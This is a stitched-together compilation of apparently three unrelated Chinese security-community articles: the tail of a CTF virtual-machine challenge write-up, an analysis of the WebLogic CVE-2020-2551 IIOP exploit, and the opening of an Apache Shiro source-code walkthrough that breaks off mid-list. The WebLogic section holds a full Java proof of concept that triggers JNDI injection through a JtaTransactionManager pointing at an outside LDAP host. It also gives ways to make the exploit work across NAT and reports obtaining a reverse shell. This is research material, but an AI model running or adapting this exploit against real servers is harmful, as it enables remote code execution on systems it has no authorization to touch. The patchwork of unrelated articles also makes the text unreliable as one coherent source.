可以动态规划从下往上叠加，取相邻两个中的较大的一个，具体参考解题脚本。
构造数据的时候保证每行与最大值相邻的不会相等，这样排除了多解的情况。
#### 源代码
vm1.c和vm2.c是两道题的源代码，由于我比较菜，写的也比较仓促，代码质量可能不高。。。
hill.c和triangle.c是算法的源码
assembly1.txt和assembly2.txt是vm的汇编代码，我直接从x86汇编翻译过来的。。。
simulate1.py和simulate2.py是解析bytecode并模拟执行，然后把bytecode写进bytecode1 和bytecode2。
solve1.py和solve2.py是参考脚本。
#### 总结
虚拟机结构还有很多不足的地方。可以触发的异常比较少，因此指令不能设置太多。没有区分有符号与无符号数，总的来说还是太菜了。
第二题其实是第一天晚上临时起意改出来的，一开始没准备出两道题。最早不知道可以有修改子进程的方法，后来查了一些资料才了解到的，然后爆肝一晚改出了第二道题。原本第二题只有这一个算法的。。。如果直接放第二题可能效果会更好一点。。。
有任何问题可以tg联系我 [@Apeng7364](https://t.me/Apeng7364) | 社区文章 |
## 前言
在复现`Weblogic`中的CVE过程中，针对IIOP协议的利用，有一个经典的CVE是CVE-2020-2551，在进行这个POC的构造过程中，发现我使用vmware虚拟机下使用docker搭建的weblogic服务
直接使用下面的POC
public class CVE_2020_2551 {
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
final Class<?> ... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces , ih));
}
public static Map<String,Object> createMap(final String key, final Object val) {
final Map<String,Object> map = new HashMap<String, Object>();
map.put(key,val);
return map;
}
public static void main(String[] args) throws Exception {
String ip = "192.168.153.136";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0");
Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}
}
将会出现错误，报错了？
连接被拒绝
之后跟了一下逻辑
## 原因
我们根据报错的调用栈，可以定位在`weblogic.iiop.EndPointImpl#send`方法中
发送的是`LocateRequest`
该方法的调用是在`sendReceive`方法中
在发送了request请求之后，使用`getReply`方法处理response回复
调用栈为
send:1129, EndPointImpl (weblogic.iiop)
sendReceive:1168, EndPointImpl (weblogic.iiop)
sendReceive:1186, EndPointImpl (weblogic.iiop)
locateNameService:204, IORManager (weblogic.iiop)
createInitialReference:123, IORManager (weblogic.iiop)
string_to_object:341, ORB (weblogic.corba.orb)
resolve_initial_references:235, ORB (weblogic.corba.orb)
getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming)
getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming)
getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming)
getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop)
getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop)
getContext:315, Environment (weblogic.jndi)
getContext:285, Environment (weblogic.jndi)
getInitialContext:117, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
main:43, CVE_2020_2551 (pers.weblogic)
在`IORManager#locateNameService`方法中
在创建了一个`LocateRequestMessage`对象之后传入了`sendReceive`方法中进行发送`LocateRequest`对象，而在`sendReceive`中，返回的是`var1.getReply`
返回得到的是一个`LocateReplyMessage`对象，在`locateNameService`方法中调用`needsForwarding`返回了一个`IOR`对象
在其中的`iopProfile`属性中，得到的`host / port`分别为`0.0.0.0 /
7001`，这里0.0.0.0代表的是自己本机的地址，本机是没有开启weblogic服务的，这里就是导致使用虚拟机docker是不能直接利用的原因
之后就是调用`resolveObject`方法进行后续处理
## 改造
其中在上面提到的`getReply`方法的调用过程中，返回的是`SequencedRequestMessage`类的`reply`属性值
如果我们能够控制这里返回的`reply`属性的值，修改其中的host为带有weblogic服务的地址，就能够利用成功
在全局搜索`reply`之后，只有在`notify`方法中才有对应的赋值
我们在该方法位置打下断点之后调用栈为：
notify:25, SequencedRequestMessage (weblogic.iiop)
handleLocateReply:1056, EndPointImpl (weblogic.iiop)
processMessage:535, EndPointImpl (weblogic.iiop)
handleMessage:500, EndPointImpl (weblogic.iiop)
dispatch:324, EndPointImpl (weblogic.iiop)
dispatch:126, ConnectionManager (weblogic.iiop)
dispatch:298, MuxableSocketIIOP (weblogic.iiop)
dispatch:298, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:913, SocketMuxer (weblogic.socket)
readReadySocket:842, SocketMuxer (weblogic.socket)
processSockets:335, JavaSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:21, ExecuteRequestAdapter (weblogic.work)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
在这里为`reply`属性赋值的`LocateReplyMessage`对象的`ior`属性对象中的`ioProfile`属性中的host是0.0.0.0
根据前面的分析，我们知道我们需要将这个host指向带有weblogic服务的ip地址
所以我们向前追溯`LocateReplyMessage`类对象的实现
通过在调用栈中寻找，其出处是在`weblogic.iiop.EndPointImpl#dispatch`方法中得到的
通过调用`createMsgFromStream`方法得到`LocateReplyMessage`对象之后调用`handleMessage`方法处理该消息
跟进`createMsgFromStream`方法
根据消息的消息头进入不同的case子句，这里为case 4
创建了一个`LocateReplyMessage`对象，传入的参数分别是消息头和输入流对象
调用了`read`方法对数据进行解析
使用了IOR继续进行解析
最后调用的是`Profile#read`方法对数据进行处理
创建了一个`ConnectionKey`对象，其构造方法调用对应的`read`方法进行数据处理，在调用`ConnectionKey#read`方法对数据进行处理
获取到了对应的ip和对应的port
之后再在`Profile#read`方法中，调用`var4.getAddress / var4.getPort`方法获取ip / port
### 改造1
这里的`var4`变量没有什么特别的用处，只是获取了`Address /
Port`数据，我们如果能够手动修改`this.host`为搭建有weblogic服务的address，就能够成功进行利用
所以我们需要重写`IOPProfile`类中的`read`方法
直接在项目文件下面创建一个`weblogic.iiop`的包，下面带有`IOPProfile`类
其中的`read`方法
改造之后获取到的`IOPProfile`对象为
现在指向了正确的ip和port
本地搭建一个JNDI注入工具服务，监听本机的8000端口
运行前面提到的POC
成功反弹shell，使用这种方式是能够绕过NAT的
### 改造2
类似的上面的处理是在`IOPProfile#read`方法中
最初使用的是`ConnectionKey`对象的`getAddress`方法获取的ip地址，所以追其来源，是在`ConnectionKey#read`方法中获取数据中得到的，我们可以直接在这个位置进行处理
修改后的`read`方法为
值得注意的是这里是不能够直接进行赋值的，需要首先获取到0.0.0.0的ip地址之后进行覆盖操作
这种方法同样能够成功反弹shell
## 续
前面使用直接覆盖host属性的方式，强制更改ip地址来达到我们的目的，但是有个弊端就是每次需要手动修改一下对应的ip，在学习其他的绕过方式的过程中，发现了有一个师傅和我之前思考的方向一致，贴个链接
<https://xz.aliyun.com/t/7498>
不得不说师傅们太强了
## 绕过
### 覆盖ConnectionKey对象
这种绕过方式主要是在参考一中的评论中,`fnmsd`师傅提出的一种覆盖ConnectionKey的方式达到自动修改host地址的目的
学习一下
使用wireshark抓包，观察一下请求流程
其中第六步就是接收`LocateReply`对象的步骤
在数据包中包含了需要请求的服务
这时候的输入流就是第6步中的传送的数据
所以我们能够从该数据中获取到远程的ip地址进行替换这里的`0.0.0.0`
所以重写`IOPProfile#read`方法为：
直接覆盖了`ConnectionKey`对象
修改后的ip地址成功替换
也能够反弹shell
### 覆盖IOPProfile对象
产生在NAT网络下不能使用POC的最直接原因就是因为产生了`0.0.0.0`导致不能连接成功
代码中体现在了`EndPointManager#createEndPoint`方法中进行了一次Socket通信
可以看看此时的调用栈为
createEndPoint:464, EndPointManager (weblogic.iiop)
findOrCreateEndPoint:239, EndPointManager (weblogic.iiop)
findOrCreateEndPoint:256, EndPointManager (weblogic.iiop)
locateIORForRequest:383, IIOPRemoteRef (weblogic.iiop)
getInvocationIOR:535, RemoteDelegateImpl (weblogic.corba.idl)
request:256, RemoteDelegateImpl (weblogic.corba.idl)
_request:449, ObjectImpl (org.omg.CORBA.portable)
bind_any:18, _NamingContextAnyStub (weblogic.corba.cos.naming)
bind:189, ContextImpl (weblogic.corba.j2ee.naming)
bind:151, ContextImpl (weblogic.corba.j2ee.naming)
bind:425, InitialContext (javax.naming)
main:48, CVE_2020_2551 (pers.weblogic)
大概分析一下流程
前面都是bind方法的调用过程，可以跟踪到`RemoteDelegateImpl#request`方法中
这里调用`getInvocationIOR`方法获取对应的IOR对象，跟进一下
最开始的`currentIOR`属性为null，进入了else语句，调用`IIOPRemoteRef.locateIORForRequest`方法通过从请求中加载IOR对象为`currentIOR`属性赋值
这里通过调用`EndPointManager.findOrCreateEndPoint`方法，从传入的IOR对象中寻找或者创建一个`EndPoint`对象
可以跟进到`findOrCreateEndPoint`方法的调用
首次调用这里不存在友EndPoint对象，所以进入`else`语句中使用`createEndPoint`方法创建一个`EndPoint`
该方法中首先获取了取得的`IOR`对象的`IOPProfile`对象类
之后获取该对象中的`Host / Port`中的数据，传入了`MuxableSocketIIOP.createConnection`方法中，创建一个连接
如果我们能够修改IOR对象中的`iopProfile`属性中的host / port数据，指向正确的地址，就能够进行利用
在`r4v3zn`师傅的思路中
1. 在`ContextImpl#bind`方法的调用中，记录下远程ip地址和端口
2. 之后在`locateIORForRequest`方法的调用中，修改传入的IOR对象中的host数据
但是在我进行跟进分析中
在创建连接中，仅仅是使用了`IOR`对象中的`IOPProfile`对象中的Host和Port进行连接
其中`getHostAddress`方法
返回的是`IOPProfile`对象的`canonicalHost`属性，而不是host属性？
这里`canonicalHost`属性是一个`InetAddress`对象，但是我们并不需要创建一个该对象之后进行反射修改，因为调试发现，首次调用`getHostAddress`方法过程中，会进入if语句中，通过host属性进行创建`InetAddress`类
所以我们不需要进行师傅展示中创建对象的操作，我们直接使用反射赋值，将所有的0.0.0.0替换为正确的ip地址，也就能够达到我们的目的了
能够成功反弹shell
## 参考
<https://xz.aliyun.com/t/7498>
<https://www.r4v3zn.com/posts/144eb4b6/>
<https://www.r4v3zn.com/posts/b64d9185/> | 社区文章 |
### 0x00 前言
Apache Shiro is a powerful and easy-to-use Java security framework that
performs authentication, authorization, cryptography, and session management.
With Shiro’s easy-to-understand API, you can quickly and easily secure any
application – from the smallest mobile applications to the largest web and
enterprise applications.
Apache
Shiro是一个功能强大且易于使用的Java安全框架，它执行身份验证、授权、加密和会话管理。通过Shiro易于理解的API，您可以快速、轻松地保护任何应用程序——从最小的移动应用程序到最大的web和企业应用程序。
Apache Shiro框架功能主要由以下几个部分组成：
* Authentication：身份认证-登录
* Authorization：授权-权限验证
* Session Manager：会话管理
* Cryptography：加密
* Web Support：Web 支持
* Caching：缓存
* Concurrency：多线程
* Testing：测试模块
* Run As：允许一个用户假装为另一个用户
* Remember Me：记住我-Session过期后再次登录无需再次登录
一个包含如此多功能模块的框架，我一向认为其必然存在着我们发现和未发现的安全漏洞，而事实也是如此，早在Shiro
1.2.4版本前，就被暴露了Cryptography模块因为默认AES加密key导致Remember
Me模块的反序列化漏洞，在其被修复（每次启动都生成一个新的AES加密key）的几年后，依然是这个地方，出现了令我万万没想到的Padding
Oracle漏洞，我一直以为这样的漏洞也就CTF会出现，这个洞也警醒了我，CTF每一个知识点，在真实漏洞挖掘中，都非常重要。
而本篇文章，我将会用我一贯的源码浅析方式，对Apache
Shiro的核心部分代码进行讲解，并且最后会以1.2.4版本的远古洞的触发原理，对源码进行深入的讲解，接着引出最新的Padding Oracle CBC
Attack，从而让我们在看完这篇文章后，能熟悉的写出Shiro
exploit，并对Shiro框架的主要原理聊熟于胸，还有最重要的一点是，现在网络上很多讲解漏洞的文章，都是简单的讲解漏洞，对这些框架的使用方法以及使用场景等都缺乏描述，对新手极度不友好，
### 0x01 Shiro源码浅析
在进行源码浅析之前，我们先了解一下Shiro如何在一个SpringMVC项目中简单的使用。
#### 1\. Shiro简单使用
我曾经在做Java开发的时候，我有幸为几个系统加入过Shiro框架，也对其功能不足处进行了一些简单的定制修改。
曾经有个系统后台由于不满足等保要求，需要对其后台的登录验证进行重构，在其重构的过程中，我发现该后台只有单个硬编码的用户账号，而该账号被业务方大量的运营和开发人员使用，对于后台任何的配置和功能都能进行修改，这是一个极大的安全隐患，因此，我考虑在重构的后台系统中，加入了Shiro，为后台系统加入若干的特性，使其更加的安全坚固：
1. 多用户支持
2. 用户数据存库
3. 权限精细化-粒度到页面按钮
4. 用户禁用
5. 等等...
**多用户支持** 和 **用户数据存库**
：原系统仅有单个硬编码账号，源码泄露将会导致账号密码泄露。而运营也是一个很大的不稳定因素，如果某个运营对一些关键配置进行了修改，将会威胁到系统的稳定运行。
**权限精细化-粒度到页面按钮**
：前面也说了运营用户的潜在不稳定因素，所以加入了权限精细到页面按钮的的权限管理，可以控制每个运营人员具备的权限功能，对于一些涉及到系统安全的功能，我们就能更好的控制。
**用户禁用**
：在后台系统中，我们会对每个账号的操作进行操作日志的持久化，如果我们发现某个账号进行了大量的敏感操作，存在安全风险，我们可以通过用户禁用功能对其账号进行快速的禁用。
以上就是我对Shiro使用的一些简单总结，除此以外，还有很多，比如我曾经在某个古老的项目中使用Shiro后，没办法通过注解方式对接口方法进行权限的控制，最后得益于Shiro优秀的设计，通过一些比较特殊的方法达到方法级的权限控制等。
在简述了我对Shiro的一些使用后，我们接下来就讲讲Shiro，如何去配置使用。
##### 1.1 依赖（pom.xml）
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-ehcache</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache-core</artifactId>
<version>2.4.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
##### 1.2 web配置（web.xml）
<!-- spring 配置-->
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml,classpath:spring-shiro.xml</param-value>
</context-param>
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-servlet.xml,classpath:spring-shiro.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- shiro的filter-->
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<!-- shiro的filter-mapping-->
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
##### 1.3 shiro配置（spring-shiro.xml）
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 开启shiro注解-->
<bean class="org.springframework.aop.framework.autoproxy.DefaultAdvisorAutoProxyCreator" depends-on="lifecycleBeanPostProcessor">
<property name="proxyTargetClass" value="true" />
</bean>
<bean class="org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor">
<property name="securityManager" ref="securityManager"/>
</bean>
<bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<property name="maxUploadSize" value="#{10*1024*1024}"/>
<property name="maxInMemorySize" value="4096"/>
</bean>
<!-- 对应于web.xml中配置的那个shiroFilter -->
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<!-- Shiro的核心安全接口，这个属性是必须的 -->
<property name="securityManager" ref="securityManager"/>
<!-- 要求登录时的链接(登录页面地址)，非必须的属性，默认会自动寻找Web工程根目录下的"/login.jsp"页面 -->
<property name="loginUrl" value="/jsp/login.jsp"/>
<!-- 登录成功后要跳转的连接(本例中此属性用不到，因为登录成功后的处理逻辑在LoginController里硬编码) -->
<!-- <property name="successUrl" value="/" ></property> -->
<!-- 用户访问未对其授权的资源时，所显示的连接 -->
<property name="unauthorizedUrl" value="/html/error.html"/>
<property name="filterChainDefinitions">
<value>
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]
<!--/dologin=ssl-->
</value>
</property>
</bean>
<bean id="lifecycleBeanPostProcessor" class="org.apache.shiro.spring.LifecycleBeanPostProcessor"></bean>
<!-- 数据库保存的密码是使用MD5算法加密的，所以这里需要配置一个密码匹配对象 -->
<bean id="credentialsMatcher" class="org.apache.shiro.authc.credential.Md5CredentialsMatcher"></bean>
<!-- 缓存管理 -->
<bean id="shiroCacheManager" class="org.apache.shiro.cache.MemoryConstrainedCacheManager"></bean>
<!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 -->
<bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm">
<property name="credentialsMatcher" ref="credentialsMatcher"></property>
<property name="permissionsLookupEnabled" value="true"></property>
<property name="dataSource" ref="dataSource"></property>
<property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property>
<property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property>
<property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property>
</bean>
<!-- Shiro安全管理器 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="jdbcRealm"></property>
<property name="cacheManager" ref="shiroCacheManager"></property>
</bean>
</beans>
##### 1.4 登录和注销接口
@Controller
@SessionAttributes("user")
public class LoginAndLogoutController {
@Autowired
private LoginAndLogoutService loginAndLogoutService;
@RequestMapping(value = "/dologin",method = RequestMethod.POST)
public String doLogin(User user, ModelMap model){
System.out.println("用户"+user.getLoginName()+"正在登录........!");
return loginAndLogoutService.doLogin(user,model);
}
@RequestMapping(value = "/dologout",method = RequestMethod.GET)
public String doLogout(User user,ModelMap model){
System.out.println("用户"+user.getLoginName()+"正在注销........!");
return loginAndLogoutService.doLogout(model);
}
}
@Service
public class LoginAndLogoutService {
@Autowired
private ApplicationContext applicationContext;
public String doLogin(User user, ModelMap model){
UsernamePasswordToken token = new UsernamePasswordToken(user.getLoginName(),user.getPasswd());
token.setRememberMe(true);
Subject subject = SecurityUtils.getSubject();
String msg;
try {
subject.login(token);
if (subject.isAuthenticated()) {
System.out.println("登录成功！");
UserDao userDao = (UserDao) applicationContext.getBean("userDao");
List<User> users = userDao.getUserByLoginName(user);
model.put("user", users.get(0));
if (subject.hasRole("admin")) {
return "redirect:/html/admin/center.html";
} else {
return "redirect:/html/user/center.html";
}
}
}catch (IncorrectCredentialsException e) {
msg = "登录密码错误. Password for account " + token.getPrincipal() + " was incorrect.";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (ExcessiveAttemptsException e) {
msg = "登录失败次数过多";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (LockedAccountException e) {
msg = "帐号已被锁定. The account for username " + token.getPrincipal() + " was locked.";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (DisabledAccountException e) {
msg = "帐号已被禁用. The account for username " + token.getPrincipal() + " was disabled.";
model.addAttribute("message", msg);
System.out.println(msg);
} catch (ExpiredCredentialsException e) {
msg = "帐号已过期. the account for username " + token.getPrincipal() + " was expired.";
model.addAttribute("message", msg);
}catch (UnknownAccountException e) {
msg = "帐号不存在. There is no user with username of " + token.getPrincipal();
model.addAttribute("message", msg);
System.out.println(msg);
} catch (UnauthorizedException e) {
msg = "您没有得到相应的授权！" + e.getMessage();
model.addAttribute("message", msg);
System.out.println(msg);
}
System.out.println("登录失败!");
return "/jsp/login.jsp";
}
public String doLogout(ModelMap model){
Subject subject = SecurityUtils.getSubject();
subject.logout();
model.remove("user");
return "/jsp/login.jsp";
}
}
以上便是SpringMVC web中Shiro简单使用的依赖、配置、接口等，通过其，我们就能畅快的使用shiro的各种特性和功能了。
#### 2\. 源码运行原理
回顾上面的Shiro的web配置，我们可以发现其中有一个filter的配置
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<!-- shiro的filter-mapping-->
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
从明面上我们只要写过Spring项目都不会陌生，filter注册了一个过滤器，而filter-mapping是对其filter访问过滤url的一个匹配配置，也就是说，上面的filter-mapping配置，规定了shiroFilter这个过滤器，将会过滤任何一个请求到该项目的http请求。
不过，这里还有一个重点，就是DelegatingFilterProxy这个利用了门面模式设计的一个class，它是一个filter的代理类，通过这个类可以代理一个spring容器管理的filter的生命周期，也就是说，可以在Spring容器中创建一个filter
bean，然后注入一系列依赖，这个bean可以用代理的方式配置到web.xml中使用。
我们再看会前面的spring-shiro.xml文件，其中，我们配置了这样的一个bean
<!-- 对应于web.xml中配置的那个shiroFilter -->
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<!-- Shiro的核心安全接口，这个属性是必须的 -->
<property name="securityManager" ref="securityManager"/>
<!-- 要求登录时的链接(登录页面地址)，非必须的属性，默认会自动寻找Web工程根目录下的"/login.jsp"页面 -->
<property name="loginUrl" value="/jsp/login.jsp"/>
<!-- 登录成功后要跳转的连接(本例中此属性用不到，因为登录成功后的处理逻辑在LoginController里硬编码) -->
<!-- <property name="successUrl" value="/" ></property> -->
<!-- 用户访问未对其授权的资源时，所显示的连接 -->
<property name="unauthorizedUrl" value="/html/error.html"/>
<property name="filterChainDefinitions">
<value>
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]
<!--/dologin=ssl-->
</value>
</property>
</bean>
可以看到，它的bean
id和我们在web.xml配置的filter名称是一样的，也就是说，这个filter是它的代理门面类，在访问该web项目时的任何一个请求，都将被shiroFilter这个bean进行过滤。
那么，接下来我们打开org.apache.shiro.spring.web.ShiroFilterFactoryBean这个bean，因为他是一个FactoryBean，因此，在该类的bean真正被使用的时候，会调用其getObject()方法
/**
* Lazily creates and returns a {@link AbstractShiroFilter} concrete instance via the
* {@link #createInstance} method.
*
* @return the application's Shiro Filter instance used to filter incoming web requests.
* @throws Exception if there is a problem creating the {@code Filter} instance.
*/
public Object getObject() throws Exception {
if (instance == null) {
instance = createInstance();
}
return instance;
}
看方法注释可以清楚的看到，这是一个懒加载的bean，当使用到它时，才会调用其getObject()方法，然后再该方法中，我们可以看到，通过createInstance()创建一个真正的实例作为该bean
protected AbstractShiroFilter createInstance() throws Exception {
log.debug("Creating Shiro Filter instance.");
SecurityManager securityManager = getSecurityManager();
if (securityManager == null) {
String msg = "SecurityManager property must be set.";
throw new BeanInitializationException(msg);
}
if (!(securityManager instanceof WebSecurityManager)) {
String msg = "The security manager does not implement the WebSecurityManager interface.";
throw new BeanInitializationException(msg);
}
FilterChainManager manager = createFilterChainManager();
//Expose the constructed FilterChainManager by first wrapping it in a
// FilterChainResolver implementation. The AbstractShiroFilter implementations
// do not know about FilterChainManagers - only resolvers:
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setFilterChainManager(manager);
//Now create a concrete ShiroFilter instance and apply the acquired SecurityManager and built
//FilterChainResolver. It doesn't matter that the instance is an anonymous inner class
//here - we're just using it because it is a concrete AbstractShiroFilter instance that accepts
//injection of the SecurityManager and FilterChainResolver:
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}
回顾一开始我们在bean配置文件对ShiroFilterFactoryBean配置，SecurityManager我们配置的是org.apache.shiro.web.mgt.DefaultWebSecurityManager，一个默认的web安全管理器，这个web安全管理器配置了一个realm，该realm我们可以使用shiro包内置的jdbc快捷使用的org.apache.shiro.realm.jdbc.JdbcRealm，也可以我们自定义去实现登录验证和授权相关方法的realm，总的来说，通过web安全管理器，我们可以配置相关的登录验证和授权配置，这也是使用shiro中非常关键的一点。
<!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 -->
<bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm">
<property name="credentialsMatcher" ref="credentialsMatcher"></property>
<property name="permissionsLookupEnabled" value="true"></property>
<property name="dataSource" ref="dataSource"></property>
<property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property>
<property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property>
<property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property>
</bean>
<!-- Shiro安全管理器 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="jdbcRealm"></property>
<property name="cacheManager" ref="shiroCacheManager"></property>
</bean>
如果我们想要使用简洁预置的JdbcRealm，我们只要创建三个表（用户、角色、权限），并把相应的sql查询语句设置好，就能快速的使用Shiro的Jdbc持久化用户、角色、权限数据。
在createInstance()方法的一开始，就会对我们设置的web安全管理器进行校验，只有满足情况下，shiro的功能才能继续并正确使用。
接着，调用其createFilterChainManager()方法，创建一个过滤器链的管理器，它也是shiro中非常核心的部分，我们一般在使用shiro的时候，如果我们要加入图形验证码、短信验证码等验证，都会通过filter的形式添加，然后把它添加到我们要创建的过滤器链的管理器（FilterChainManager），在访问到符合规则配置的path时，就会到达我们添加的图形、短信验证码校验filter中。当然，除了图形、短信验证等逻辑外，我们一般给一些页面、接口，设置成游客可访问，或者登陆状态可访问，亦或者使用rememberMe功能（在用户Session过期后，可以通过Cookie的RememberMe进行重新免登陆认证）等等。
创建好FilterChainManager后，就会把它设置到一个新建的PathMatchingFilterChainResolver中，这个resolver的作用是在一个http请求进来时，用于提取http请求的path，然后匹配相应的FilterChains进行过滤请求。
最后创建一个内部的静态类SpringShiroFilter返回，作为该工厂bean实际创建的bean对象。
我们进一步跟进createFilterChainManager()方法
protected FilterChainManager createFilterChainManager() {
DefaultFilterChainManager manager = new DefaultFilterChainManager();
Map<String, Filter> defaultFilters = manager.getFilters();
//apply global settings if necessary:
for (Filter filter : defaultFilters.values()) {
applyGlobalPropertiesIfNecessary(filter);
}
//Apply the acquired and/or configured filters:
Map<String, Filter> filters = getFilters();
if (!CollectionUtils.isEmpty(filters)) {
for (Map.Entry<String, Filter> entry : filters.entrySet()) {
String name = entry.getKey();
Filter filter = entry.getValue();
applyGlobalPropertiesIfNecessary(filter);
if (filter instanceof Nameable) {
((Nameable) filter).setName(name);
}
//'init' argument is false, since Spring-configured filters should be initialized
//in Spring (i.e. 'init-method=blah') or implement InitializingBean:
manager.addFilter(name, filter, false);
}
}
//build up the chains:
Map<String, String> chains = getFilterChainDefinitionMap();
if (!CollectionUtils.isEmpty(chains)) {
for (Map.Entry<String, String> entry : chains.entrySet()) {
String url = entry.getKey();
String chainDefinition = entry.getValue();
manager.createChain(url, chainDefinition);
}
}
return manager;
}
可以看到在创建FilterChainManager的地方，可以分为三个创建步骤
1. 默认创建的，对其自带的Filter进行全局配置的设置
DefaultFilterChainManager manager = new DefaultFilterChainManager();
Map<String, Filter> defaultFilters = manager.getFilters();
//apply global settings if necessary:
for (Filter filter : defaultFilters.values()) {
applyGlobalPropertiesIfNecessary(filter);
}
private void applyGlobalPropertiesIfNecessary(Filter filter) {
applyLoginUrlIfNecessary(filter);
applySuccessUrlIfNecessary(filter);
applyUnauthorizedUrlIfNecessary(filter);
}
那默认自带的filter究竟有哪些呢？跟进DefaultFilterChainManager一探究竟
public DefaultFilterChainManager() {
this.filters = new LinkedHashMap<String, Filter>();
this.filterChains = new LinkedHashMap<String, NamedFilterList>();
addDefaultFilters(false);
}
protected void addDefaultFilters(boolean init) {
for (DefaultFilter defaultFilter : DefaultFilter.values()) {
addFilter(defaultFilter.name(), defaultFilter.newInstance(), init, false);
}
}
可以看见，其构造方法调用了addDefaultFilters方法，把DefaultFilter枚举类进行了遍历，然后添加到filter集合中
查看该枚举类，可以发现一共有11个预置的filter：
anon(AnonymousFilter.class),
authc(FormAuthenticationFilter.class),
authcBasic(BasicHttpAuthenticationFilter.class),
logout(LogoutFilter.class),
noSessionCreation(NoSessionCreationFilter.class),
